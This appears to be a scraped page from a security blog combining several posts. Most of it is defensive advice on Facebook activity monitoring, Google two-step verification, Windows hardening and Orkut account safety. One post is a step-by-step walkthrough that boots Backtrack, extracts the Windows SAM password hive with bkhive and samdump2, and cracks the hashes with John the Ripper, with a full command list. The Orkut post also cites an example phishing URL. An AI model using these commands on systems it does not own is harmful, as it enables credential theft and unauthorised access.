SecurityHunk

Facebook is one of the most widely used social networking site these days.So,if your account get compromised in any way for example by session hijacking etc then it may result in a big headache.Here in this post i will tell you how you can monitor your account activity details like location,OS type and time of access.

Read the  post on "Facebook security and privacy tips".

Procedure:

Step 1.
Click on the "Account" on the upper right side of the your facebook page and then click on the "Account settings" as shown in the image below.

If you find this post interesting then subscribe here to get updates.

 Step 2.
Now scroll down to where you see "Account Security" and click on change option there as shown in the image below.
Step 3.
Now you can see the recent activity and other activities in the past.There also you can see the "Login Notification" option,I would recommend to set it "On" to add an extra level of security.In the next login attempt you will be asked your computer name so,provide the desirable name and click on continue.
Step 4.
If you suspect any unfamiliar device or location based on your activity history then you can click on the "End activity" option to end that activity.

Note:The information furnished in the account activity in not that detail but it can certainly add a level of security to your facebook account.

Earlier I posted on "How to hack Windows administrator password" using backtrack.This post is the final post of it where we will see how we can retrieve the password without reseting it.

Here I will be using Backtrack4 and boot it from USB but you can also boot it from a CD.

Requirements:

1.Backtrack 4.iso (Download)

2.UseNetbootin (Download)

If you have any problem in installing backtrack in your usb then read here.

Procedure:

Step 1.
Having made a bootable usb now reboot the system and boot Backtrack4.Use username:root and password:toor and use startx

Step 2.
Now open up the console window to type the command "df"(Disk free) or fdisk -l to find the drive where you can find the SAM file of your Windows box.Here i will be using "df".
Step 3.
If you find the desired drive in the above step then its ok,if not then you can mount it by using the command mount -t ntfs /dev/sda1 /mnt/sda1 -o force (Here force you may not use).

Step 4.
As we know that SAM file of windows there in config directory of system32.So we need to be in that directory to do our further work.Type in the command cd /mnt/sda1/WINDOWS/system32/config (Mark the "WINDOWS" in the command is in caps on).

Step 5.
Now use bkhive to get a key file to be used in further steps by typing in the command
bkhive system ~/Desktop/key.txt  here "~/Desktop/key.txt" is the path of the key file to be created.Having executed the command you can check your desktop if the file has been created.

Step 6.
Here we will be using samdump2 for dumping the hashes by using the key file created in the previous step.The command format is samdump2 [samhive path] [keyfile path].So the command to be used here is samdump2 SAM ~/Desktop/key.txt > ~/Desktop/SHunk_Hash.txt  here "~/Desktop/SHunk_Hash.txt" is the path where the hashes from the SAM file will be copied which can be copied.You can check the desktop for the Shunk_Hash.txt file.
Step 7.
In order to view the hash,type in the command cat ~/Desktop/SHunk_Hash.txt as shown below.
Step 8.
Now change the directory to /pentest/password/jtr or simply type "john" you will see the directory has been changed to the desired one.

Step 9.
Now type in ./john ~/Desktop/SHunk_Hash.txt here the john the ripper will search for all the passwords but you can limit it by using ./john ~/Desktop/SHunk_Hash.txt -users=[Desired username without braces].Here "~/Desktop/SHunk_Hash.txt" is the path of the hash file that we created in the previous step.
Command Summary:

1.df

2.mount -t ntfs /dev/sda1 /mnt/sda1 -o force (Optional)

3.cd /mnt/sda1/WINDOWS/system32/config

4.bkhive system ~/Desktop/key.txt

5.samdump2 SAM ~/Desktop/key.txt > ~/Desktop/SHunk_Hash.txt

6.cat ~/Desktop/SHunk_Hash.txt(Optional)

7.cd /pentest/password/jtr

8../john ~/Desktop/SHunk_Hash.txt

OR

./john ~/Desktop/SHunk_Hash.txt -users=[Desired username without braces]

Google has planned for the first time to introduce "A Two-Step Authentication/Verification" for logging into google account.It is really a very innovative way where maximum security can be ensured to the users.

This new feature will be first available to Google Apps Premiere, Education, and Government edition customers and then this will be brought to all the users who are not using Google applications....isn't it cool.. :)

What is Two-Step Authentication?

Image source:http://techcrunch.com/

As you can see the above screen shot,there are two verification mode.The first one is the login screen where the user has to enter his/her password then the next screen is another verification screen where the user has to enter a code generated from a mobile application etc.This feature will be first available to Google application loaded mobiles.If every thing goes fine then the user will be logged in.

How to get the Verification code?

The Verification code can be obtained by 3 ways

1.From "Google Authenticator" application loaded in Android, the iPhone, and Blackberry etc.


2.From SMS message

3.Or through Voice call

Image source:http://techcrunch.com/

 
Why this is more Secure?

Certainly this is more secure than any other login process.What happens in our normal online account is that we have to enter the username along with the password to gain access but here along with that there an extra step of entering a six digit code to gain access.So if anyone lose his/her password by phishing or certain scam still then the account is secure since the six digit code is needed  for logging in.

This new feature will be available to all the google account users in the next few months.... :)

Well!! security is the buzzing word these days because of new form of  attacks and threats.These attacks are mainly targeted to Windows user compared to Linux or other OS in the series.One thing I must say that 90% of the victims fall in the trap of attackers due to there lack of alertness and there own flaws.Lets see how we can avoid these types of attacks if not completely but to some extent.

1.I would recommend that always update your OS and software that are installed if the update is available.If  you do not do that then there may be some vulnerability in your present OS or software and the attacker can find that by Fingerprinting and Banner grabbing and plant an exploit for it.

2.Attacker  install R.A.T or Keylogger on a remote PC by tricking the user by social engineering.So I will recommend you to always look out for the extension of the file before clicking on it.It may sometime be the case that the file sent to you may look like an image but having an extension of an executable format(.exe).How to tackle it? Read here.

3.Always use an updated AntiVirus,Anti-Logger,Link Checker,Site Advisor and keep with you a latest rescue disk of an Antivirus.

• Anti-logger:I would recommend  Zemana antilogger compared to KeyScrambler because the later can protect your keystrokes from the browser window but Zemana has anti-keylogger,anti-screen logger,anti-webcam logger,anti-clipboard logger.
• Link Checker:You can use Dr.Web link checker,by this you can scan a file before downloading it.Just right click on the required link and click on the Dr.web icon.It is also available as a Firefox addon.
• Site Advisor:Here you have two options,you can use Macfee site advisor or WOT both can be integrated with your browser.
• Rescue Disk:I would recommend using Kaspersky's.Download the .iso file and burn it into a Cd and can use it.

4.If  sometime you have left your PC  "ON"  in your absence then it may be possible that someone may have plugged in an USB (Pendirve) and done some data transfer or some unethical activity.Read here how to find out this.

5.Most of the time attackers bind a file with another file inorder to trick the victim.Learn how to find this,Read here.

6.A simple Autorun.inf can even crash your PC.Learn how to avoid it,Read here.

7.Have you ever given a thought that someone may have logged into your box in your absence.Learn how to find out,Read here.

8.Always look out for print and file sharing option before using internet.I would recommend to disable it as it can open gateway for netbios attack.Follow the path  Control panel > Network Connection > Right click on the desired icon >Networking Tab > Disable the print & file sharing option.

9.Always use a strong password to your administration account,try to access internet form a limited user account rather than from administration account.

10.Use a good firewall rather than using the default windows firewall,you can choose from Comodo or Zone Alarm but I would recommend using Zone Alarm even if it is the free version.

I must say even if you follow all these tips still then you cannot make your PC 100% hack proof because nothing is non-hackable.I recommend to follow these tips so that you can avoid certain attacks or threats to some extent.

If you find these tips helpful and read worthy then do drop a comment,it will be appreciated.

"Orkut" is  the social networking site powered by  Google.Most of the attackers nowadays use orkut  for advertising there work and product through the victim's account.I have come across few incidents where accounts are being  hacked then some pornographic content and vulgar language are displayed this can surely cause nightmare to the user,if  the user is using  the primary email account for logging  into orkut then he/she is in double trouble.Actually hacking orkut does not need  any elite skills but the attackers mainly exploit the  human awareness and intelligence(Social engineering) in doing so.

Today in my post i am going to discuss how to protect the orkut account from being hacked.

Note:Click on the images to zoom them.

1.Always look out for  Https(Hypertext Transfer Protocol Secure) instead of Http(Hypertext Transfer Protocol) in the url bar before loggin in and if you are using Mozilla Firefox  or IE  look out for a "Lock" sign  in the bottom right corner as orkut uses SSL(Secure Sockets Layer)  certificates in encrypting data as shown in the image below.

2.Fake login pages(Phishing) can be a trap for you as they look exactly like the original  login page.
For example: http://orkut420.t35.com/Orkut.htm  if the attacker is more creative then  he/she can manipulate the url and make it look in a way that can create illusion For example:Orkkut.com,Okrut.com,Orrkut.com,Orcut.com etc.  lol , so i will suggest  you to always type in the url before logging in.If  you find a phishing site then add it to Phish Tank.To know how this attack is carried out visit here.Below i have shown the image of a fake login page that i have made.

3.Always stay away from clicking on suspicious Community links beacause they can be Malware or Cookie grabbers.The attacker sometimes uses words and phrases that lure users and attract them to click on it, in that way they give away there password after being redirected to a fake login page.

4.Keylogging is also a major factor in hacking into orkut  account.In one of my post i have described about  keyloggers.By using this tool the attacker can  keep a track of the keystrokes of the user.You can prevent this by  using key strokes encryption  software like Key Scrambler or Zemana.I would recommend Zemana.Key scrambler also available as a addon to IE and Firefox.

5.Stay away from Java Scripts that promise to give some amazing outcome upon pasting it to  url bar.and hitting enter.Never ever do that ,it is a trap used few years back but i feel people are aware of it now.

6.Never ever use your primary email account with Orkut because if your account is hacked at the same time you will  also lose your email account also.So,i will suggest to use another secondary email account for your Orkut sign-up.It could be the other way round that is the attacker can hack your email account then he/she can hack into your Orkut account,learn  "Common email hacking methods and Countermeasures".
 
7.Never get carried away by the false promises or advertisements sent to you for example free easy recharge of mobile phones.Never click on these types of links

8.Never ever enable the "Remember me" option while login to your account.Because by doing that the password get stored in the browser and can be retrieved by Password stealers or RATS or Backdoors or Trojans.

9.Stay away from using  Glittering , Picture scrap scripts and Themes of Orkut profile showing different film stars available in different  unofficial sites because some  hidden malware  or malicious script may be there.Using it may result in grabbing your password and in that way you may lose your password.As shown in the image below.

10.Always logout from your account after you have finished your work if you are in a public computer like in college or office,it is very important because  if you do not  do that some person logging in after you may do mischievous work with your account.

Note: Always use a good updated Anti-Virus,Recent version browser,Safe browsing tools like:WOT or Mcafee siteadvisor and a Anti-Keylogger like Key Scrambler or Zemana

If  you find this post a bit worthy to read so do drop a comment,it will be appreciated.... :)

IF YOU FIND THIS BLOG WORTH READING THEN DO "VOTE" FOR IT........